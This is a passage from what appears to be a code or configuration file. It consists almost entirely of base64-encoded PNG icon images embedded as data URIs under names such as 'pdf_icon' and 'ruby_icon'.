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",pdf_icon="data:image/png;base64,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",ruby_icon="data:image/png;base64,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